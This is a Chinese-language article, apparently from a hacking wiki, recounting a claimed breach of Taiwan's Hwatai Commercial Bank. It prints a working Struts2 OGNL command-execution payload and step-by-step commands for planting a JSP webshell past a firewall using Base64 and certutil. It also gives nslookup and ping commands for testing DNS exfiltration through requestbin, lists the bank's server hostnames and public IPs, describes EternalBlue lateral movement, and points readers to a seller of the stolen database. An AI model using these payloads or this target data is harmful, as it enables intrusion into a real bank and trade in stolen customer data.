2018 年习科编辑收到 Telegram 匿名来稿称台湾华泰商业银行(hwataibank.com.tw)被入侵,因当时没有证据而被忽略。

近日有黑客在“暗网”以 3 比特币的价格出售华泰商业银行的数据库,通过调查发现,台湾华泰商业银行的确曾遭黑客入侵,且至少两次,习科编辑第一时间联系了相关黑客并获取了第一手细节资料。

I. 相关细节-前

根据银行公告 2019 年 3 月 15 日,3 月 16 日升级系统为 Ubuntu + Apache 2.4.39 + php。

根据黑客披露的文档,台湾华泰商业银行(hwataibank.com.tw)曾将外层服务托管于中华电信,核心业务处于公司内网,外层中华电信托管业务与内网设专线,外层出口使用 CheckPoint 防火墙,除出口外,所有服务器不通外网。

华泰银行外层托管业务曾使用命令执行漏洞的 Struts2 框架,但无法使用通用 S2-016 的利用命令,可用的命令执行利用代码如下:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','netstat','-ano'})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[500],#d.read(#e),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#d.read(#e),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}
由于网络出口限制和 CheckPoint 防火墙防护规则,黑客尝试多次反弹连接和写入后门均失败。

随后黑客使用如下命令成功写入后门(经过本报二次编辑):

'echo','111','>webapps/hwatai/1.jsp' ##绝对路径和后门代码均触发 CheckPoint 规则,先测试相对路径可写入文件
Certutil -encode a.txt b.txt  ##将 Webshell 代码进行证书加密
'echo','PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKixqYXZhLnV0aWwuKixqYXZhLm5ldC4q','>>','webapps/hwatai/1.txt' ##将证书编码依次追加写入 txt 文本
'Certutil','-decode','webapps/hwatai/1.txt','webapps/hwatai/13.jsp'  ##将证书编码反向为可执行后门代码

在 CheckPoint 防护规则下无法使用 Web 端口复用代理,在出口白名单的保护下也无法实现反向连接。

随后该黑客测试反向连接。大公司通常都有自己的 DNS,测试内网 DNS 数据包是否能够与外网进行数据交换可以使用 DNSBin(r equestbin.net),用法:

nslookup mydatahere.b8d91f635c2b114fb148.d.requestbin.net
ping test.b8d91f635c2b114fb148.d.requestbin.net

如果能够收到查询数据,则可以使用 DNS 数据包连接进行数据交换。该黑客是通过 DNS 数据包连入内网的,但是其转发连接的工具需额外有偿提供,习科认为弊端很明显:每个数据包只有 8 Byte,所以未购买该工具进行测试,如果有需要的可以自行联系该黑客索要。

II. 相关细节-后

黑客给出的外层业务网络结构如下

\\BATCHTX-PC 203.66.10.6
\\EBPP  203.66.10.11
\\ELAPP  203.66.10.14
\\ELAPPTST 203.66.10.13
\\ENTRUST 203.66.10.47
\\HT9  203.66.10.9
\\IMSS  203.66.10.32
\\IMSS7  203.66.10.39
\\NB  203.66.10.36
\\NIBWEBT 203.66.10.53
\\OP-PC  203.66.10.17
\\SESSION 203.66.10.29
\\UATWEBATM 203.66.10.44
\\WEBATM 203.66.10.10
\\WWW  203.66.10.5

大部分服务器对应的业务均可猜到,其中两台 Windows 7 的 PC 机器为中华电信管理员的维护用机器,和华泰银行管理员接入公司内网 10.1.1.x 的专线机器。因其管理员使用控制台持续在线,黑客无法常规夺权。

其声称的非常规夺权是这样的:内网机器不通互联网,PC 机安装永恒之蓝补丁的概率几乎没有,通过永恒之蓝常规夺权,操控 PC 机后管理员会发现管理用户被登出,为避免被发现,从 PC 机使用非常规登出,而是使用蓝屏程序。对于 Windows 来说要想内存崩溃蓝屏很容易,随便几行代码即可完成无痕蓝屏。PS:该黑客亦不无偿提供该蓝屏程序,额外售价 $100USD,习科没有买来测试。

III. 其他细节

该黑客不无偿提供数据库下载,习科已经声明希望作为调研用途,黑客声称测试数据(9GB)售价 0.003 比特币,正式数据库售价 3 比特币。

该黑客可能用到:

Struts2 016 利用命令

JSP Webshell

CMD 及 PowerShell

DNSBin 测试

DNS 数据包转发工具(No Free No Public)

远程桌面连接

NC 监听工具

Windows 蓝屏崩溃程序(No Free No Public)

MSSQL 连接脚本

//silic.wiki